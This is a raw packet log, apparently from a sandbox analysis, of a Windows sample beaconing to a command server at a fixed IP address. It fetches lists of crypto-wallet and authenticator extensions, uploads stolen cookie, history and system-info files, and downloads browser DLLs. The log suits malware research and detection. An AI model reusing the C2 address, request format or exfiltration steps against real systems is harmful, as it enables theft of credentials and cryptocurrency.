Nov 11, 2024 14:32:01.921140909 CET	1236	IN	Data Raw: 5a 57 64 71 59 57 64 73 62 57 56 77 59 6d 31 77 61 33 42 70 66 44 46 38 4d 48 77 77 66 46 52 79 5a 58 70 76 63 69 42 51 59 58 4e 7a 64 32 39 79 5a 43 42 4e 59 57 35 68 5a 32 56 79 66 47 6c 74 62 47 39 70 5a 6d 74 6e 61 6d 46 6e 5a 32 68 75 62 6d Data Ascii: ZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB
Nov 11, 2024 14:32:01.921231985 CET	1236	IN	Data Raw: 4d 58 78 55 63 6e 56 7a 64 43 42 58 59 57 78 73 5a 58 52 38 5a 57 64 71 61 57 52 71 59 6e 42 6e 62 47 6c 6a 61 47 52 6a 62 32 35 6b 59 6d 4e 69 5a 47 35 69 5a 57 56 77 63 47 64 6b 63 47 68 38 4d 58 77 77 66 44 42 38 55 6d 6c 7a 5a 53 41 74 49 45 Data Ascii: MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHx
Nov 11, 2024 14:32:01.921240091 CET	424	IN	Data Raw: 59 57 39 6d 63 47 68 69 61 6d 64 6a 61 47 68 38 4d 58 77 77 66 44 42 38 56 6d 56 75 62 32 30 67 56 32 46 73 62 47 56 30 66 47 39 71 5a 32 64 74 59 32 68 73 5a 32 68 75 61 6d 78 68 63 47 31 6d 59 6d 35 71 61 47 39 73 5a 6d 70 72 61 57 6c 6b 59 6d Data Ascii: YW9mcGhiamdjaGh8MXwwfDB8VmVub20gV2FsbGV0fG9qZ2dtY2hsZ2huamxhcG1mYm5qaG9sZmpraWlkYmNofDF8MHwwfFB1bHNlIFdhbGxldCBDaHJvbWl1bXxjaW9qb2Nwa2NsZmZsb21iYmNmaWdjaWpqY2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3w
Nov 11, 2024 14:32:01.921385050 CET	404	IN	Data Raw: 61 6d 78 6b 5a 47 70 72 61 6d 64 77 62 6d 74 73 62 47 4a 76 59 32 4e 6b 5a 32 4e 6a 5a 57 74 77 61 32 4e 69 61 57 35 38 4d 58 77 77 66 44 42 38 55 32 46 6d 5a 56 42 68 62 43 42 58 59 57 78 73 5a 58 52 38 59 58 42 6c 62 6d 74 6d 59 6d 4a 77 62 57 Data Ascii: amxkZGpramdwbmtsbGJvY2NkZ2NjZWtwa2NiaW58MXwwfDB8U2FmZVBhbCBXYWxsZXR8YXBlbmtmYmJwbWhpaGVobWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmt
Nov 11, 2024 14:32:01.922920942 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="message"fplugins------CBGCGDBKEGHIEBGDBFHD--
Nov 11, 2024 14:32:02.151417971 CET	335	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 11, 2024 14:32:02.165982962 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGD Host: 185.215.113.206 Content-Length: 8199 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:32:02.166007996 CET	8199	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 11, 2024 14:32:02.886009932 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:03.420387983 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:03.620079994 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 11, 2024 14:32:03.620102882 CET	212	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49753	185.215.113.206	80	7436	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 14:32:11.408191919 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIDGDAKFHIEHJKFHDHD Host: 185.215.113.206 Content-Length: 999 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:32:11.408216000 CET	999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 Data Ascii: ------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BFIDGDAKFHIEHJKFHDHDContent-Disposition: form-data; name="file_name"Y29va2llc1xHb
Nov 11, 2024 14:32:12.546668053 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:12.648879051 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJEHJJDAAAKEBGCFCAA Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 14:32:12.649058104 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 45 48 4a 4a 44 41 41 41 4b 45 42 47 43 46 43 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 Data Ascii: ------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------GHJEHJJDAAAKEBGCFCAAContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
Nov 11, 2024 14:32:13.351767063 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:13.374043941 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="file"------KFBGDBFBKKJECBFHDGIE--
Nov 11, 2024 14:32:14.069617033 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:13 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:14.502985954 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 31 36 35 61 35 39 66 65 65 65 39 35 39 34 39 64 34 31 36 35 32 62 66 63 65 64 30 63 61 39 64 65 65 31 39 30 36 33 31 38 30 61 36 36 38 30 61 63 63 66 30 39 33 31 62 31 62 39 33 39 31 38 33 35 61 66 36 35 33 35 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="token"5165a59feee95949d41652bfced0ca9dee19063180a6680accf0931b1b9391835af6535a------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="file"------BAFIEGIECGCBKFIEBGCA--
Nov 11, 2024 14:32:15.204016924 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 14:32:15.702646971 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:15.902355909 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 11, 2024 14:32:15.902589083 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 11, 2024 14:32:15.902638912 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 11, 2024 14:32:15.902646065 CET	636	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 11, 2024 14:32:15.902678013 CET	1236	IN	Data Raw: 74 09 5e 5f 5b 5d e9 da ff 07 00 5e 5f 5b 5d c3 cc cc cc cc 55 89 e5 53 57 56 8b 7d 08 85 ff 74 56 8b 45 0c c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 Data Ascii: t^_[]^_[]USWV}tVEGGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFH
Nov 11, 2024 14:32:15.902686119 CET	1236	IN	Data Raw: 46 04 8b 48 14 8b 58 1c 83 c6 0c ff 15 00 80 0a 10 53 56 57 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc 55 89 e5 53 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 Data Ascii: FHXSVW^_[]USWVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV
Nov 11, 2024 14:32:15.902693033 CET	1236	IN	Data Raw: 8b 75 1c 8b 45 14 39 f0 73 14 68 03 e0 ff ff e8 3b f6 07 00 83 c4 04 b8 ff ff ff ff eb 16 8b 55 0c 8b 4d 08 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 Data Ascii: uE9sh;UMVuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u
Nov 11, 2024 14:32:15.902697086 CET	236	IN	Data Raw: 5b d2 66 0f 70 e1 f5 66 0f f4 ca 66 0f 70 d2 f5 66 0f f4 d4 66 0f 6f e0 66 0f fe 25 00 21 08 10 66 0f 70 c9 e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 Data Ascii: [fpffpffof%!fpfpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM
Nov 11, 2024 14:32:15.902704000 CET	1236	IN	Data Raw: c7 04 e9 29 01 00 00 66 0f ef c9 66 0f 6f 05 c0 20 08 10 31 f6 66 0f ef d2 f6 c2 01 0f 84 9b 00 00 00 66 0f 6f 1d d0 20 08 10 66 0f fe d8 0b 75 cc 8b 45 10 66 0f 6e 2c 30 66 0f 6e 64 30 04 66 0f ef f6 66 0f 60 ee 66 0f 61 ee 66 0f 60 e6 66 0f 61 Data Ascii: )ffo 1ffo fuEfn,0fnd0ff`faf`fafrfo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?
Nov 11, 2024 14:32:16.509253025 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:16.710217953 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 11, 2024 14:32:16.884308100 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 11, 2024 14:32:17.106956959 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:32:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
